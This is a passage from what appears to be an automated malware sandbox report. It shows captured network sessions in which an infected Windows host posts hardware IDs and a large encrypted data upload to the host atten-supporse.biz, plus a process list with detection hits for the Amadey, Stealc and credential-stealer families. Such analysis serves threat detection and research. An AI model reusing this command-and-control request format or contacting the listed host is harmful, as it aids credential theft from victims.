{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e31d9c197c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1840&min_rtt=1823&rtt_var=696&sent=17&recv=26&lost=0&retrans=0&sent_bytes=2847&recv_bytes=21344&delivery_rate=1601755&cwnd=237&unsent_bytes=0&cid=c9df8edf89f0a42e&ts=1343&x=0"
2024-11-29 19:08:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:08:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	50109	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:37 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L8QE6N49VS2IT1AW3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1278 Host: atten-supporse.biz
2024-11-29 19:08:37 UTC	1278	OUT	Data Raw: 2d 2d 4c 38 51 45 36 4e 34 39 56 53 32 49 54 31 41 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 4c 38 51 45 36 4e 34 39 56 53 32 49 54 31 41 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 38 51 45 36 4e 34 39 56 53 32 49 54 31 41 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --L8QE6N49VS2IT1AW3Content-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--L8QE6N49VS2IT1AW3Content-Disposition: form-data; name="pid"1--L8QE6N49VS2IT1AW3Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-29 19:08:38 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mrlqh0jeh6kge351332vq1gv17; expires=Tue, 25-Mar-2025 12:55:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z2IT2uRbljoVNE1cNtGI%2BYV2UMIJacpYQovYJISOf0n8YSuq%2FmAVKrABjCffHNdPhNm5KmhEQjzJPTL9PebyveUf37QDeSWZX3SuBGB2VColz%2BQQBK3IVn3u7bGANhMk4S5UWz4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e3313a94f5f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1501&rtt_var=571&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2196&delivery_rate=1904761&cwnd=32&unsent_bytes=0&cid=47f6a53238bca436&ts=1258&x=0"
2024-11-29 19:08:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:08:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	50110	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:08:42 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=64BA3CI570B1A8SML4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568359 Host: atten-supporse.biz
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: 2d 2d 36 34 42 41 33 43 49 35 37 30 42 31 41 38 53 4d 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 36 34 42 41 33 43 49 35 37 30 42 31 41 38 53 4d 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 34 42 41 33 43 49 35 37 30 42 31 41 38 53 4d 4c 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --64BA3CI570B1A8SML4Content-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--64BA3CI570B1A8SML4Content-Disposition: form-data; name="pid"1--64BA3CI570B1A8SML4Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: 7e 59 73 dc 6f bb 44 32 8c 5a dd f8 f0 14 b6 1f 2f ad 87 b5 51 c2 fe 34 6b 88 89 20 b5 19 41 10 99 63 b3 16 7e 74 8a f5 dd e3 18 65 26 61 e0 49 9c 12 90 f2 e6 bf ff d4 22 e4 03 f8 5d 15 2b 4c 25 56 4a 33 96 00 92 9e 84 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 Data Ascii: ~YsoD2Z/Q4k Ac~te&aI"]+L%VJ3Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Sp
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: 95 35 7a fd 45 c8 43 51 1d c7 6d fe 7d 59 77 d1 7b d3 76 4a 11 a4 3d 89 cc 83 92 dc 7c 11 d5 d3 68 ee 95 84 df b7 c4 33 99 55 bf 5c 15 f4 4f 0b 15 09 2f 16 46 34 ab e9 44 14 55 22 24 6f 59 19 49 63 1f 47 da 98 39 bd 9a ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc Data Ascii: 5zECQm}Yw{vJ=\|h3U\O/F4DU"$oYIcG9h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GP
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: cd 2a 6d d0 b2 b5 81 91 26 6c 5f 06 5d 69 36 24 7f 97 a0 22 af 46 24 a6 df 0d 9a c4 5e 2f ee d1 e0 08 ef 1c 65 3a ef 2a 4f a1 ef c5 1e c3 50 4b af ee 2d 9a a8 3a 34 52 dc a0 7d 72 10 21 ee ee 1d a0 fa 42 97 d3 ef 2d 43 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 Data Ascii: m&l_]i6$"F$^/e:OPK-:4R}r!B-CIW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\N
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: cf 57 52 83 57 7c 22 31 1e 66 d7 91 24 0d 47 1e 4c 9f 4c 6e 24 1e 45 f5 86 b3 51 41 2b 12 55 1f de bb 6c 06 4c 0f e3 cd 08 e2 bb 5d 01 a1 65 8d 5b ca 0c e9 87 c4 e9 c5 4c de 84 4d f5 fd b9 38 b8 79 50 47 b8 cb 57 eb 34 c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 Data Ascii: WRW\|"1f$GLLn$EQA+UlL]e[LM8yPGW4Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: ef 65 e1 d8 09 35 d0 8d 31 05 a6 b0 ce 8b 16 5b c4 0d 3d 8c 56 6a f6 2c 78 56 5f 2b be 59 b3 b9 42 56 c2 50 20 c8 0c 39 a5 d8 68 e9 99 1d 29 5b 0a d0 bd 3d bc a6 bd 64 7b 2b b1 42 b8 41 90 d2 e4 c6 f7 72 e2 6c e7 e4 d2 da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae Data Ascii: e51[=Vj,xV_+YBVP 9h)[=d{+BArl[:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cm
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: 57 b0 52 f4 46 22 c0 07 54 62 6f 32 22 e7 2e c9 17 2c 0f 95 b2 3f 21 34 4e 8c aa a0 b7 7d 26 64 c7 eb 25 b0 87 36 b9 eb 75 52 85 c5 72 5f 94 b2 7f ac 99 e0 72 2e 90 21 62 31 1b 89 3c 84 91 e5 6d 96 b5 0b 99 5e ff 59 4e 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c Data Ascii: WRF"Tbo2".,?!4N}&d%6uRr_r.!b1<m^YN%z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~f
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: 06 d8 9f b3 99 40 1b 18 95 e5 c7 9b c5 61 ed bf 09 d7 2f c7 72 cf 1e c0 5e 40 6c 24 4c 5d c1 5f 43 f9 21 6d 0a 66 b2 e8 78 91 61 14 c8 ee 4b 78 48 a9 87 95 f8 81 b5 11 b3 ee 0e 92 a0 fb 0e f5 27 91 10 22 87 98 77 a2 1e 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf Data Ascii: @a/r^@l$L]_C!mfxaKxH'"w!CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: 3a 37 ae fa f6 d1 64 a2 5e e1 af 9b ba 15 4b 0a ba 23 d9 fe 03 4d 3f ef 7c d2 76 0c 8b 21 b8 fa 51 92 f5 f1 e3 2e c9 c4 d2 7d 5d bf f3 c7 9f a1 4b 98 ee eb 27 7d 7b a2 0a 35 2f 12 f7 f7 00 fa 60 26 42 4b 82 98 f9 b2 a0 ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 Data Ascii: :7d^K#M?\|v!Q.}]K'}{5/`&BK~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{*;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+
2024-11-29 19:08:42 UTC	15331	OUT	Data Raw: 43 d0 f4 f2 10 2f 53 ab 59 ac e2 d2 85 b2 6b a3 f7 bf 65 5c 97 b6 a5 5e 6b 2f 06 5c 0f c7 00 9f c9 3e 97 10 4a 30 e7 f9 7a 3f b9 3e 42 2d 55 e9 b0 b6 b4 72 9d d6 78 39 f3 f7 93 73 a1 ed fb 02 38 47 cd 56 bc 10 1b 80 7d b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 Data Ascii: C/SYke\^k/\>J0z?>B-Urx9s8GV}E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1F

Target ID:	0
Start time:	14:03:57
Start date:	29/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x830000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1717875712.0000000000831000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1666914132.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:04:03
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x3e0000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1726182469.0000000004C50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:04:04
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3e0000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1784355732.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1744049993.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:05:01
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3e0000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2355092145.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2312226443.0000000004840000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:06:00
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb80000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000003.2907663764.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2948182852.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:07:00
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3e0000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.3549151435.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.3508241708.0000000004930000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:07:33
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe"
Imagebase:	0xc70000
File size:	1'872'896 bytes
MD5 hash:	90CA710AAF9DBEB26796E2023B2C20A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	14:07:41
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe"
Imagebase:	0xb20000
File size:	1'789'952 bytes
MD5 hash:	1038F723C2FCA19F38FABBED2E099DBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3970121321.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.3962571157.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000003.3917037714.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:07:46
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe"
Imagebase:	0xc70000
File size:	1'872'896 bytes
MD5 hash:	90CA710AAF9DBEB26796E2023B2C20A4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4039251705.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4101117639.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4100850819.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.4128255827.00000000014E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4008212811.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4103359855.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4109303795.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4102077094.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4102760250.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4099638699.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4039669635.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4039102203.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 